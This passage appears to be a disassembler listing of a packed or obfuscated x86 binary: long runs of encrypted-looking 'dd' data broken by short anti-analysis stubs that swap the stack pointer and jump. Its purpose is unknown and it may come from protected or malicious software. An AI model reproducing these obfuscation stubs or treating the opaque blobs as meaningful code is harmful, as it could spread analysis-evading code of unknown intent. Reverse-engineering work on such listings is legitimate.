		dd 0FF73E50Fh, 6CCA3007h, 3DE3h, 0FD50F800h, 4C4F1F4h
		dd 432381E6h, 54EFDD04h, 96E06605h, 9D380F75h, 0A2B088E5h
		dd 0B2B8282Bh, 9F11E84Eh, 8E5D34A8h, 26D74B36h,	0A9F7B3CEh
		dd 80F6A48h, 0CF2D9F96h, 0EB46h, 0DE505B00h, 0A5177567h
		dd 0A6704EAFh, 128BEF00h, 0EF63D5ACh, 1E8468EBh, 6FE75947h
		dd 0D042A87Fh, 2B916854h, 0F1D55BCDh, 3EA2A81Ah, 373DAF9Dh
		dd 7DDA75D3h, 939CC869h, 0E2B92521h, 0A6AC1E7Ch, 392FA142h
		dd 0CF0EEEC5h, 0CE48BAA8h, 0FB9684E2h, 96E04F5Ch, 0C5B354BAh
		dd 0ADD4E372h, 4FADC250h, 1B09306Fh, 6B42AEA9h,	1EB9A705h
		dd 9CC5ECBBh, 897765CBh, 0F4C009Bh, 7B169CCBh, 9CCB0EC7h
		dd 1B8149AFh, 0DFC74BBDh, 6044CC3Eh, 0D1320C16h, 0C1754CF1h
		dd 233h, 892A9297h, 0DAE1E17h, 92339B9Bh, 19BA2620h, 9A3BA3A7h
		dd 0E66A03DBh, 64EB5DFEh, 0EA6DDF80h, 7DF36506h, 9684E889h
		dd 0B74C47FBh, 826D2FA2h, 7DA0FD50h, 62D73FF0h,	268478F0h
		dd 5A48BCB4h, 5D1DD16Ch, 0EC639CC8h, 0F3BB21F8h, 1C8E2F8Dh
		dd 2611B216h, 64EC1F5Eh, 912C1A80h, 96E00C42h, 0F3A74230h
		dd 39A2B042h, 92F8CF33h, 0F1DF58CAh, 0E84EB41Ah, 42BE7611h
		dd 0E04A2B0h, 0D451C39Ah, 0ED4511E8h, 85DD8E94h, 260AEFCh
		dd 6CBF0F6Ah, 51EC7619h, 0A2B0299Dh, 0A1D4278Dh, 0F57EDCC0h
		dd 107h, 5646CC0Ah, 17CB66DEh, 0FF9CC838h, 0DFCD3399h
		dd 3007EB6Dh, 23956CCAh, 1C8ACA2Fh, 0F2BC7BD6h,	0BD1AB58Ch
		dd 0CF9CC8F3h, 0D6C46559h, 0FB994DE8h, 1B819CC8h, 0E1C54BBDh
		dd 0EC91C0Ah, 88985652h, 98D7B715h, 49E88371h, 0A396E061h
		dd 0F1C83431h, 62062E9Eh, 0BF259258h, 45339961h, 1ACE6957h
		dd 0AA2B126h, 265509A4h, 0DF45A2B1h, 0C100E081h, 23F7F3ADh
		dd 0CF35B2C8h, 1705F3E1h, 0B0E2C87Ch, 0AF4AB0A2h, 0A2B0E2FBh
		dd 8C2785EBh, 9CCB3CC6h, 0CC1B1568h, 48620F5Bh,	0B8B022EAh
		dd 7BB5644h, 0EF9CCB12h, 0C3352389h, 44B6574Fh,	6448CCCCh
		dd 5A681A11h, 0AC121C5Bh, 0D0819662h, 17CBA2F1h, 0CBh
		dd 0F1920AFFh, 7516867Fh, 0FA9B0303h, 81228E88h, 2A31B0Fh
		dd 5ED29B43h, 0DC53C566h, 52D547E8h, 0D55BCD6Eh, 0FEEC50F1h
		dd 0B74DAF63h, 0EAD597A2h, 7567DE50h, 0C69D0103h, 98900260h
		dd 1B118324h, 0CC1B06A7h, 198B6246h, 9E392713h,	9CC837EAh
		dd 25D974DAh, 6B9CC838h, 0C52B02EAh, 24888BFDh,	0C9B758BEh
		dd 92F0DC57h, 5E4C73B2h, 0AE856BECh, 0EFCEA48h,	0D8369A9Ch
		dd 0D90DC03Dh, 7950B696h, 0AF9D0107h, 0AFE6373Dh, 0A20BF14Bh
		dd 13B41278h, 6037ABA1h, 99BB09C5h, 2513012Ch, 15BBD68Ah
		dd 0AD13140Dh, 0C9217FE5h, 0E8E85EB8h, 791A806Ch, 0C69D0107h
		dd 17EED254h, 888EF34Bh, 0B7D1E82h, 16CAA105h, 3, 0CC8F7A2Bh
		dd 16885F45h, 63D5AC10h, 0B325FCE0h, 0FF7148BCh, 4ABC930Bh
		dd 9507DEC6h, 0E6582F93h, 35A77E6Eh, 73F5CC30h,	815D5455h
		dd 4C5h, 4ED8300h, 5C242C87h, 81E78957h, 4C7h, 4EF8300h
		dd 5C243C87h, 52243489h, 0C281E289h, 4,	4EA81h,	14870000h
		dd 14895C24h, 9EB85024h, 352CF114h, 3F5408E1h, 1771BA52h
		dd 0D031164Ah, 58C6895Ah, 24148B54h, 6804C483h,	26BCh
		dd 8F243489h, 34FF0842h, 0C4835A24h, 24348B04h,	81E78957h
		dd 4C7h, 4C78100h, 87000000h, 0E95C243Ch, 0FFF966FAh, 23B8D012h
		dd 305EF17h, 5EE0FFC5h,	0B84076F1h, 49383E2Bh, 7639AD28h
		dd 0CC41B302h, 91503E17h, 0F6270B8Ch, 2A2771BAh, 0C8783671h
		dd 0DB4404BFh, 365CF54Ah, 0D6300CDCh, 607D5CDh,	5635E9FDh
		dd 875D38DDh, 0EB66F1FCh, 0E74804h, 57AE924h, 4CC50000h
		dd 0C045B758h, 4DC93BDCh, 0D44EC061h, 5DD547E8h, 5509C869h
		dd 8B2C9098h, 0DAE1219h, 9334989Bh, 16B72B21h, 7529C4B2h
		dd 65A2B74Fh, 46CCB8A3h, 378B3FDAh, 157B9CC8h, 0E266D8AFh
		dd 61E759FAh, 3E34A67Dh, 8481F3CAh, 3841F590h, 0C3299CC8h
		dd 76CE865Dh, 0A1050B0Bh, 27958E00h, 0FAA9886h,	9CC8385Bh
		dd 6D51D94Bh, 6CCA3096h, 0BC9379FAh, 8DFC54Ah, 799DE43Ch
		dd 0FF7112FEh, 35A79509h, 976ECC30h, 0C83845FCh, 5031899Ch
		dd 81F70C5Ah, 72D009h, 0CCE50000h, 0F08B6246h, 9CC83836h
		dd 13398C7Ah, 0BF1BA309h, 0D3AE0664h, 829A89D7h, 14D09h
		dd 0CC620000h, 87756349h, 72512234h, 902BF072h,	9CC883DCh
		dd 310866CCh, 21D9F043h, 2FAB7ED7h, 0EAE65FD1h,	44AA816Bh
		dd 897EF0DEh, 78D63C13h, 0C9352FA1h, 9FE23AF2h,	1D8189FBh
		dd 1082E046h, 30949B15h, 0B1B729CAh, 0F0C5F4Dh,	0DC129D39h
		dd 6550F14Fh, 0D35444CCh, 9E7569E1h, 95FBD238h,	1C0A7C42h
		dd 0D93F6D02h, 27959002h, 6BF2E639h, 7601079Eh,	56CF4118h
		dd 171D8F66h, 0CC24DCB3h, 0E3F380B5h, 2D46D021h, 1C0AF8C7h
		dd 0C932CD81h, 0F957BD9Ch, 48BAE0A1h, 0ABE59CFh, 0FA9CC933h
		dd 0F1572E94h, 0B5292193h, 38ACA214h, 6F5DD84Ah, 4CC83A11h
		dd 9BCF1F73h, 96FCB6C3h, 0D9C94DBFh, 369C735Fh,	8F87F9D0h
		dd 3890481Fh, 0D028D949h, 0FB9BF9B1h, 935F0981h, 71000000h
		dd 0C29905FFh, 0CC13FE5Ch, 9B896044h, 0AFF8E148h, 0A503879Ah
		dd 4BBF3333h, 0B0167C53h, 0B8C921D9h, 9605EA5Eh, 9C1BC6B0h
		dd 0B92BCC32h, 4764DB1h, 2B919202h, 0F77CEEC5h,	33990D05h
		dd 8369EA5Ch, 0E59CF4ACh, 4D348C3Dh, 8228FF5Dh,	66EC5E09h
		dd 0E745AB82h, 685Eh, 0AFE7000h, 758F3F92h, 0A76C9EC3h
		dd 0DE505E49h, 3AA07765h, 0FEE66ADCh, 4EB2B527h, 0AB750D60h
		dd 79660CA5h, 0A492441Bh, 0F3CA3232h, 0AAD72F8Dh, 128A7EF0h
		dd 0D6CE42B4h, 49CC4A35h, 4B9E8C63h, 24FDA66Dh,	8A3ED997h
		dd 7A9CC848h, 0B75BAE14h
		dd 83740366h, 0E1983391h, 259CC8B4h, 0A8F6B4CDh, 6C098274h
		dd 1, 5848CC81h, 0B188EED2h, 0FED5C93Fh, 6FA7DA32h, 866607F7h
		dd 97322047h, 96E0EA08h, 37A980E6h, 0F1DFCD31h,	0B065A256h
		dd 9A492A2h, 0A2B06655h, 1B79DF45h, 181A8C7Ah, 1977DDB4h
		dd 4F3DA1A7h, 0DDF1CFFCh, 3593FDD6h, 8909C35Eh,	0BB13A2B0h
		dd 93E6D4C6h, 0BCECEBACh, 8A3ED9E4h, 0EFA2B090h, 1371FC21h
		dd 2288505Fh, 0DCDC52C4h, 6E0F755Bh, 0BB9276FCh, 0D95E7ACDh
		dd 0CD40F48Fh, 0C228A2B0h, 95FAE86Fh, 5B4FC537h, 245DB584h
		dd 65007CF2h, 0A2B098B1h, 2CCD3399h, 6A58004Eh,	15CC40Fh
		dd 5ED90000h, 980AF81Fh, 3562D93h, 7372F066h, 66C42A0Dh
		dd 1E66DD78h, 6ED496E0h, 0BB2F2597h, 3EA2A81Ah,	7F7FF567h
		dd 0DC421985h, 38358876h, 0A59578C3h, 4D3AA08h,	0CB41D5ACh
		dd 7256DD4Fh, 0B0D923D7h, 47AD13A2h, 987AC8A6h,	7E3E0F6Ah
		dd 50000000h, 0CD13C762h, 9D03A2B0h, 1B5E543Fh,	447A0C0Fh
		dd 1F858DF8h, 0A5D29631h, 94829CC8h, 1EB92322h,	9CC8A66Ah
		dd 6B06F45Ah, 9CC8A5B7h, 0FCD3399Fh, 0C8A5AD61h, 0D4AD059Ch
		dd 0E45E91D4h, 55BB21F8h, 0A608CC67h, 0D72A9CC8h, 8D4E8202h
		dd 0D98D28F6h, 0C19CC8A8h, 0CF97F55Bh, 0D7287B69h, 2E273DD6h
		dd 77650664h, 3C9A0E05h, 9D88h,	11AC9A00h, 9CC8D25Dh, 0F075E74Dh
		dd 71CF350Ch, 0C7625086h, 9CC83813h, 5F3F9D03h,	700BF920h
		dd 96E0E649h, 0A7C53B9h, 0C4B2A004h, 0B0697529h, 0A1FF65A2h
		dd 24988E00h, 584CC436h, 0E6BD1B81h, 0B0678E4Bh, 3D907EA2h
		dd 0E85ACACAh, 0EF47A578h, 1A8E8492h, 13198B79h, 1472D8AFh
		dd 0E0CEF534h, 0C2029D45h, 0BE59479Ch, 9CD02C0Ah, 2C8539D4h
		dd 0F759CD0h, 0BB83E147h, 7BE1CD49h, 0C83C32A4h, 0B4CD25F1h
		dd 0A08EB5F4h, 0D7C540B2h, 0D02C883Ch, 0AC0A709Ch, 147B23BEh
		dd 258B96E1h, 1F5E9984h, 0C76F0AF8h, 3796D91Fh,	8288FAD1h
		dd 1D8F7D1Eh, 0E759B71Bh, 0A18F7D61h, 6081504Eh, 0E9844BF9h
		dd 0A2B73A35h, 3C13FB7Bh, 4AA80ED6h, 3FD4D873h,	3C94F8C7h
		dd 675BD145h, 0EADE54C6h, 3BA7A113h, 997EF264h,	104D7805h
		dd 0F0C72D96h, 3F16867Eh, 0B9691870h, 2AEC95EDh, 311FC024h
		dd 9D5CD4DEh, 0EAE23599h, 0AA593A5h, 0C0C88F56h, 87AD83Eh
		dd 0D9C79E02h, 0DB76EE67h, 0C0C88F27h, 0E543A90Fh, 331h
		dd 8F7A4600h, 885F45CCh, 0D5AC1016h, 25FCE063h,	7148BCB3h
		dd 0BC930BFFh, 7DEC64Ah, 582F9395h, 0A77E6EE6h,	0F5CC3035h
		dd 333D6873h, 3C890000h, 2B8B6824h, 4890000h, 14AB6824h
		dd 34890000h, 5D98B824h, 0BE561F31h, 74DE1059h,	48FFE681h
		dd 0E68143EAh, 68C2ED6h, 8103E6C1h, 803C25CEh, 44EE815Fh
		dd 1790284h, 0EC835EF0h, 24248904h, 4240483h, 2FF2685Eh
		dd 3C890000h, 89C78924h, 0FF5F087Eh, 835E2434h,	34FF04C4h
		dd 0C4815824h, 4, 0F96139E9h, 0A485B9FFh, 99633BAEh, 0EDEC5E1Eh
		dd 0EF1CF8B8h, 0FFC50305h, 8D4E88E0h, 0C2FE2F36h, 34CEA86Bh
		dd 534B7A1Dh, 918CEB60h, 0FB49537Bh, 0B6D5874Ah, 2DE58B58h
		dd 324EB471h, 0A777A215h, 82CF1019h, 0D234A1Bh,	1161B635h
		dd 426DF61Ah, 75AAF129h, 0FCB9D534h, 18F36B0Ah,	92EC7610h
		dd 21954E43h, 0CEB1D23Fh, 88F09F6Dh, 3FAF194Bh,	50846069h
		dd 0B8A1F861h, 0AB04EB6Ch, 0E90F7F40h, 595h, 0A546BEB3h
		dd 29CA3233h, 0AE4FBFB7h, 35D63A3Ch, 0B6574FC3h, 828627F7h
		dd 7791Ah, 8E89FB9Ch, 190F8122h, 0B2A004A5h, 0B7556317h
		dd 0A69153A2h, 8B6246CCh, 0EC01119h, 4A946F9h, 9C9C14B7h
		dd 1F857348h, 0A0A618B9h, 7DF3653Ch, 0C540B289h, 60FBE9D7h
		dd 9CC900ACh, 0C22A2A9Ch, 0B527FE5Ch, 1734ABEh,	0F6C29905h
		dd 873FE39Eh, 4EC4522Fh, 0C7E6C5Ah, 69CFA60Ah, 0C9011ACEh
		dd 46A40A9Ch, 7E64B7A5h, 0B0DC1E6Fh, 0D651C321h, 6D5B49EAh
		dd 0C8E51ED2h, 2EA0069Ch, 0F264C23Ah, 0B4680371h, 0A49CC8E4h
		dd 1301D83Eh, 6138A4A1h, 0E524D873h, 0AE149CC8h, 6D5FD648h
		dd 60D23096h, 521EF5EBh, 948F87FAh, 1F158728h, 8239D4ABh
		dd 0C69CC8E5h, 0BBD56E41h, 63912ADBh, 0BFB426FDh, 4EA67249h
		dd 18CC6733h, 9CC843h, 0D2C0349Ah, 99F7E560h, 1C6A4041h
		dd 7B098202h, 0CBA20E09h, 657E0765h, 93000000h,	8B6246CCh
		dd 0C83836F0h, 5F77C9Ch, 5CC2990Dh, 0A5AD1FF6h,	5AB26A41h
		dd 2F87FB27h, 0F70A5852h, 1CE0981h, 0E3000000h,	8C6349CCh
		dd 0A2A51B1Ah, 97EAD83Eh, 0DB43A3FFh, 2F0664C9h, 8057BBBDh
		dd 0D1A8140Eh, 1DF4E85Fh, 0DEC245B7h, 9EE33B07h, 0D74CC84h
		dd 0FFA00C09h, 34A89F11h, 2799F75Dh, 311CBD21h,	726044CCh
		dd 3835E984h, 0BF259CC8h, 0AE9C8A61h, 0C8385F13h, 83E1479Ch
		dd 92BB1411h, 65EF1E7Ch, 2D1A80Eh, 0CB3FD7AAh, 0FD73E5D3h
		dd 2E9478FDh, 119EF157h, 601B7FCFh, 3725C624h, 53FAAE49h
		dd 84EA9CC8h, 4ABEB426h, 99050173h, 0CF3339ABh,	2E289A71h
		dd 0FD79EBC2h, 2A823A11h, 0C21ACB57h, 0D8DEBBFh, 77510982h
		dd 66000000h, 0D05444CCh, 49AF15ECh, 98040072h,	0D0B109C1h
		dd 39DAC246h, 38D343C7h, 9CC83884h, 969C0E74h, 83F5CC32h
		dd 95461D81h, 866443Dh,	0CC0981F1h, 65h, 6044CCE1h, 950B0072h
		dd 23FA58BEh, 734AB6B1h, 0E761D3C1h, 228874EFh,	85156CC4h
		dd 0D2A91D13h, 0E0ED196Ch, 51DD1435h, 158981F3h, 49BDB527h
		dd 35E98472h, 259CC891h, 5AFB59BFh, 927AFA6Ch, 0DE504934h
		dd 0A7197765h, 79673EAEh, 0C69D0107h, 0B0670260h, 0F29CC837h
		dd 75C3E79Ah, 390981F7h, 1, 6448CC4Eh, 8D0F0476h, 0E44A2185h
		dd 3235A77Eh, 2B91F7CEh, 8E84F6CDh, 8977431Ah, 0D8AF1F17h
		dd 0C5BC1472h, 48E9D551h, 71F62968h, 9C37258Bh,	96E0EA0Dh
		dd 8A3ED9C7h, 7AA2B065h, 36AEA214h, 0D39BF95Fh,	2E24966Dh
		dd 65E39732h, 61D3A2B0h, 2D93F9E5h, 0D94B9E8Ch,	2A458957h
		dd 0A4AA1C7Ah, 68E05240h, 98FEE268h, 0E3BA2226h, 5A481F7Dh
		dd 0A87F6DE8h, 8F49E442h, 95A2B049h, 5CD2443Dh,	0DF55C768h
		dd 0ACA214EBh, 77EF6138h, 0C43EB087h, 0F14901D8h, 6BC39290h
		dd 1C128416h, 48E3D1A8h, 0A2B04994h, 5AB81E84h,	5BF662E8h
		dd 0A2B049A7h, 49203C8Fh, 8D42D070h, 61D3C127h,	0F99AF8E4h
		dd 6AF4CD1Bh, 159910Fh,	50A30000h, 0CBEAA8AAh, 7964C2BBh
		dd 0AF81F5Eh, 0E016F86Fh, 29006696h, 0AC4DB1B7h, 0E2D0343Ah
		dd 0DFE0538Fh, 42A0B0DFh, 0FB2A7D6Bh, 9D0F0665h, 0CB0D60C6h
		dd 78EA48DDh, 68370EF2h, 3B297110h, 0B0D7ECA0h,	850C51A2h
		dd 6C7BD144h, 671BB6A4h, 4FA2B11Eh, 0B32583E9h,	6D5B49BDh
		dd 0B11E1ED2h, 42A006A2h, 0C641B3A1h, 3F9D03DAh, 6ADD1361h
		dd 51D70Fh, 77E90000h, 0CF350CF0h, 1B5E8671h, 238977F0h
		dd 37D69A35h, 187E9CC8h, 6AE15341h, 379F53EEh, 21879CC8h
		dd 207EE4BBh, 0C837D185h, 0A8140F9Ch, 0F6E65FD1h, 6C156D1Fh
		dd 83FE56B6h, 0CDBBE225h, 0C8386E32h, 0C2B0169Ch, 88E6DA50h
		dd 9533E7h, 50480000h, 3813C762h, 9D039CC8h, 0F9205F3Fh
		dd 0E649700Bh, 219396E0h, 78DEB529h, 419F0D06h,	4E3C1379h
		dd 0FF7157DCh, 0C335930Bh, 0CAB8594Dh, 688D41DCh, 177DA2B0h
		dd 0DDC147B9h, 67AE6B06h, 0AA9EA2B0h, 63E95B32h, 98F0A87Fh
		dd 998739E9h, 2D2C58ABh
		dd 0A8B1FD74h, 0B064590Dh, 7DDB41A2h, 0B4BA5C25h, 90CFAF50h
		dd 82E07B69h, 0F29CC146h, 0CD43B58Ch, 0DE3602D9h, 9FC605A3h
		dd 0D5C93FB1h, 4C3A98FEh, 0E04B53B1h, 898BFD96h, 99FFC725h
		dd 0D33F39ABh, 5EE9D475h, 6F0AF81Fh, 96D91A11h,	2311FF65h
		dd 0B754D488h, 44C439A2h, 0E8846D4Ch, 855CBA20h, 0BBA91D13h
		dd 9044DFCDh, 78A2B7AFh, 0AFC37712h, 41B3A2B7h,	1674DAC6h
		dd 990D0375h, 4D2D27C2h, 0D93191A8h, 4F86EA8h, 877BF163h
		dd 0D8C43EB0h, 0A4DD3501h, 6708FC72h, 0B48B7FF5h, 300h
		dd 8F7A1500h, 885F45CCh, 0D5AC1016h, 25FCE063h,	7148BCB3h
		dd 0BC930BFFh, 7DEC64Ah, 582F9395h, 0A77E6EE6h,	0F5CC3035h
		dd 4FB26873h, 0C890000h, 67D16824h, 2C890000h, 6CA6824h
		dd 1C890000h, 459EBD24h, 0C5810E14h, 51672EB0h,	583EC581h
		dd 0E5D133A0h, 0CD87DDF7h, 81CD8749h, 26B700C5h, 1C8B542Ch
		dd 4C48124h, 68000000h,	7103h, 0B9240C89h, 8, 2989D901h
		dd 241C8B59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5497CE
; ---------------------------------------------------------------------------
		db 9Ah
		dd 0BF7F5CF8h, 0B0EA28D1h, 22FCB880h, 0C50305EFh, 0F37CE0FFh
		dd 210C34DBh, 9F424327h, 0E25D7F7Bh, 10206660h,	2CB54D5Eh
		dd 0A0982D0Ah, 9B9A0D8Ch, 488F63E0h, 0D1570261h, 0A6787D54h
		dd 20814FDFh, 100C4106h, 0CD1680Ch, 0D3DF5ED6h,	11675F54h
		dd 4D4333D6h, 7B5961C0h, 1A529BAh, 19117489h, 0FC37A1Ah
		dd 0B2105FE1h, 0EC855AA8h, 2D853DDDh, 50F83EC1h, 4EB1A71h
		dd 5DA13998h, 558E9h, 5349C000h, 0D7C540B2h, 5C40C436h
		dd 0E3CF49BBh, 6458D042h, 935804C3h, 1486279Fh,	9608A91Fh
		dd 1C8E2F9Dh, 0AD11B216h, 5B7024BFh, 9658A2B7h,	0B18E55A8h
		dd 0A4AEF9CEh, 46CC5B46h, 19F0DC56h, 4764DB3h, 9F7980Ch
		dd 0EA99D97h, 9CC8385Ah, 0A77EE44Ah, 0FB71E341h, 2C927AFBh
		dd 32146755h, 0F7634221h, 3EA4180Eh, 4F86EE0h, 65BABB2Dh
		dd 9E862016h, 5B49AFF1h, 0AC836FE9h, 6C50D446h,	0FAD12F95h
		dd 481F8D88h, 9B7D52D6h, 3AA9EB33h, 96E9C026h, 2E754E2Bh
		dd 4BA35B53h, 4634EC36h, 0E0563FF3h, 0C8E59145h, 0C013799Ch
		dd 9B9ABA9Bh, 8EF45A31h, 6DA9D830h, 8E7EF7E7h, 12158728h
		dd 0DA4EC0AEh, 71E384E2h, 45330AF6h, 679029F2h,	0D230485Fh
		dd 1EF5EB60h, 7CF26452h, 0FBB16500h, 33999CC8h,	6D08F6CDh
		dd 9CC8FBB9h, 77D53BA1h, 0B3B4621Fh, 343AAC4Dh,	0A75EF9D0h
		dd 0EB9CC8FBh, 6EBCEE93h, 320982BBh, 6Bh, 7BB5644h, 0EF9CC8F0h
		dd 0CC402B89h, 0A3327546h, 50984CE7h, 1A809CC8h, 332C1AC7h
		dd 0A15BF6CDh, 0E99CC8D7h, 6CBAF091h, 30098297h, 8, 665AD042h
		dd 0E0CB298Fh, 8C6349CCh, 0A0A51B1Ah, 11FFD63Ch, 5D34A89Fh
		dd 2D2799F7h, 0DA32EAC1h, 0FAF66FA7h, 2620927Ah, 177DE3BAh
		dd 89358876h, 8B9D0974h, 6CE254B2h, 0CCECD778h,	17896044h
		dd 8D7AE1Eh, 0CD45D1B0h, 8B6246CDh, 301EBF25h, 7E5547BEh
		dd 0C248BA18h, 919507DEh, 6FE4562Dh, 37A256F1h,	2C929CC8h
		dd 0FB7DEFC6h, 88E04017h, 207829F9h, 0F0EB4961h, 92AF0981h
		dd 0C4000000h, 896044CCh, 5E12AD9Bh, 469CC838h,	141082E0h
		dd 0C119D1A8h, 0EAD256C0h, 20848AFCh, 0E485E349h, 76FAFE72h
		dd 0EB51B78Eh, 0BEB42614h, 0AF0D734Ah, 4ACB3B3Dh, 0BF258B62h
		dd 9448E3D1h, 849CC837h, 38E9C01Eh, 0AB09A1E0h,	6F0981F1h
		dd 67h,	6044CC84h, 23299B89h, 2482E8BFh, 0F55EB1B2h, 14F87C66h
		dd 0A066A3C1h, 0C3B1633Ah, 2C8A6470h, 0BF1DE4E0h, 0E801A67h
		dd 0D648A616h, 0DBC96A52h, 54B1A188h, 0C8C505B9h, 3C8FF59Ch
		dd 34923217h, 7649CC49h, 71C9D8C7h, 85200E13h, 9CC8E6D1h
		dd 16ED53B9h, 0C8E6C47Bh, 0D3AE069Ch, 82A689D7h, 14D09h
		dd 0CC620000h, 1B8D6448h, 51C3B115h, 7666DED6h,	0FCD3399Fh
		dd 95613896h, 52D2443Dh, 0AAE9C96Ah, 370EFE77h,	0E27D6BD1h
		dd 96E0EA53h, 0C1AF9D03h, 0B0667226h, 0EDA13CA2h, 0DDA2B065h
		dd 0EB49AF77h, 38ACA214h, 0BB2F2597h, 9044DFCDh, 78A2B065h
		dd 35ABA012h, 0C39AF85Eh, 0FBE363D5h, 0C560BE24h, 0A2B0660Bh
		dd 0D2C8B911h, 1FF6EA60h, 0F3D7A5CCh, 0A70EB77h, 2514DDB7h
		dd 4CAAA15Dh, 0CF7054DAh, 1CF3D75Dh, 6940A4AAh,	5B3F429Ah
		dd 0C8121A6Dh, 28D7B5Eh, 0B0AEB367h, 0DF3DA3A2h, 0E07BE76Dh
		dd 0A2B0AF2Ch, 0AF50B61Ch, 6A6E83D1h, 0FA70E20Fh, 0A32FE37Eh
		dd 0B117A2B0h, 2764ED4Bh, 79000001h, 7765DE50h,	0FCDC3AA0h
		dd 0DA896BDh, 96E01796h, 14A70B5Eh, 4B49BF3h, 8A78DEA6h
		dd 814D019Ch, 0D73DA2B0h, 3A30A279h, 0C74BBFD9h, 3CA217ADh
		dd 0BF23299Bh, 0F4E85FD1h, 0C74DBF96h, 8C83F5E3h, 14E3BA18h
		dd 4EB2B426h, 5BB31177h, 7A7AF026h, 0DAE14F8h, 6AE2E12Fh
		dd 2EA50Fh, 5EBA0000h, 730EFC1Bh, 9CC837AFh, 0AC9A71D7h
		dd 0F7CE363Ah, 0E4983391h, 3C9CC837h, 0C80B9DE4h, 5418B3A1h
		dd 49CC838h, 9B49FD9Eh,	5E000000h, 0AF81F5Eh, 0E0E6486Fh
		dd 6250B696h, 36F4FA0Fh, 74F04781h, 0E54BB188h,	0C83EB087h
		dd 0FE74E6D4h, 990BAC0Ah, 0BD582F93h, 0A2B12F00h, 0EE5CB4Ch
		dd 2025979Ch, 0D7F56BCh, 67CDA408h, 0F82A57AFh,	6CE65846h
		dd 6C0F2C93h, 0BF254268h, 0CC2482E8h, 0F7EB61B5h, 0AC156856h
		dd 8478ECDFh, 303EF28Dh, 0C026A2B1h, 0DD1CFC5Ah, 0DC2DC8B6h
		dd 7A9CC20Ch, 0F62A6A27h, 98FEE78Fh, 0E5D94FC1h, 97EA420Eh
		dd 0A49FD211h, 0EDC4282Ch, 0D84A2187h, 0A0066C50h, 78C617B2h
		dd 42A896E0h, 1F5EB6A1h, 1E6F0AF8h, 5096D914h, 0ABA113EAh
		dd 2E249637h, 5179CCBAh, 0D6CE42EBh, 0F391CA83h, 3C23BE95h
		dd 5ACA6D95h, 91977F02h, 141A8C2Dh, 0D650C2B0h,	4FAD13EAh
		dd 3A378A78h, 0AEFAC661h, 41C33593h, 62BA865Dh,	8D71F71Fh
		dd 10F47AECh, 53D94B39h, 0D432986Fh, 320h, 8F7A3500h, 885F45CCh
		dd 0D5AC1016h, 25FCE063h, 7148BCB3h, 0BC930BFFh, 7DEC64Ah
		dd 582F9395h, 0A77E6EE6h, 0F5CC3035h, 4EC8173h,	89000000h
		dd 0E789243Ch, 4C781h, 0EF830000h, 243C8704h, 2B55685Ch
		dd 34890000h, 0E1895124h, 4C181h, 0E9810000h, 4, 5C240C87h
		dd 68240489h, 5EF23F4h,	8124348Bh, 4C4h, 4EC8300h, 81242489h
		dd 42404h, 51580000h, 48895956h, 48B5908h, 0E2895224h
		dd 4C281h, 0C2830000h, 24148704h, 2434FF5Ch, 4C4815Eh
		dd 0E9000000h, 0FFF9555Ah, 0FFE6109h, 28CCB8BAh, 0C50305EFh
		dd 70DBE0FFh, 8E646024h, 0B85D2CDCh, 0D2E21205h, 99066B50h
		dd 31BA1D4Eh, 173028A9h, 0C70E7671h, 6ECD61ECh,	7FFF060Bh
		dd 61B711BCh, 0BB45091Fh, 0A1492172h, 0CDB940CBh, 1CD86159h
		dd 27E6187Fh, 0B2995B02h, 0DFBB1BE1h, 0AF250808h, 31B9553Bh
		dd 0C80C0110h, 8D8D467Fh, 5EF2A87h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0AEC35141h,	0E4CEC327h, 395576D0h
		dd 0C718D29h, 8D8905E8h, 5E8159Dh, 6840Fh, 0BD010000h
		dd 5E814ADh, 70585C7h, 5C3405E8h, 858B0000h, 5E82815h
		dd 0A6185C7h, 5E8h, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0FF739BC3h, 0E81A39B5h
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 5E9B559h, 0C7000000h, 0C57F02F7h, 81595FFh
		dd 6A05E8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 5323BCC3h, 0F59FDFFh, 2935DFEFh, 0E8126DB5h
		dd 0FF006A05h, 0E820F995h, 0EBC08B05h, 0D0E3AE4Ah, 80FE38BFh
		dd 0A40182E3h, 0CB96FDAAh, 0B01EF392h, 9163B314h, 0F03C4A3h
		dd 1047A1E9h, 0F7369AF9h, 0C670F1ABh, 0D1662E96h, 0D9EB7851h
		dd 3E2CB32Fh, 0B48FE166h, 0F3628176h, 0E2A867EEh, 0E3767663h
		dd 0B49EB158h, 0EBA17877h, 0BA4D7004h, 612E911h, 0A4AD0000h
		dd 282D9F40h, 0B5B123C4h, 3C36A849h, 0B5BD2FD0h, 2DF1B051h
		dd 73148880h, 0F5960A01h, 7B1C8083h, 0FE9F0309h, 5D11AC9Ah
		dd 4DA2B762h, 252B9D8Bh, 2684EAC1h, 6246CC3Bh, 0BE4A9D8Bh
		dd 6549CB8Fh, 0D809012h, 0D1353DAFh, 55D04230h,	163D9067h
		dd 57C7A647h, 72D036h, 4DBF960Ah, 1E0CE3C7h, 6940A4ACh
		dd 3233A503h, 0E33BF3CAh, 848AFC9Eh, 0DDFA5D33h, 2E944ED7h
		dd 2193F157h, 57C9B72Bh, 0F293F1DDh, 60D8780h, 6519B4A2h
		dd 559CC932h
		dd 299B89EFh, 0BE5FBD21h, 0EE5CB4Ch, 5A31979Ch,	4F4B368Eh
		dd 9D7458DDh, 5C40C537h, 4FC11F85h, 88FAE8D4h, 0E44A218Fh
		dd 0FD73E586h, 0D2443209h, 720D6B51h, 9CC931BBh, 0D0DAA7FFh
		dd 982F182h, 7A46h, 46CC5B00h, 0AF9D8B62h, 0C8386014h
		dd 0B1F5489Ch, 0BC2301BCh, 0C15CBA20h, 9CC87807h, 1C8EF34Bh
		dd 98237CEh, 904DA2Dh, 5455854h, 11EA7h, 50330000h, 3813C762h
		dd 9D039CC8h, 6448CD3Fh, 0B21A1B8Dh, 3EF69DBh, 0D88C2715h
		dd 0C09CC837h, 6D25FC5Ah, 0BC2E6C15h, 137950B4h, 52C243B5h
		dd 9D7468E0h, 37E89C37h, 5ED09CC8h, 0B61CF3E9h,	0D749EA50h
		dd 0F9E56151h, 0CC07F293h, 17896044h, 715FC11Eh, 5C0E23F7h
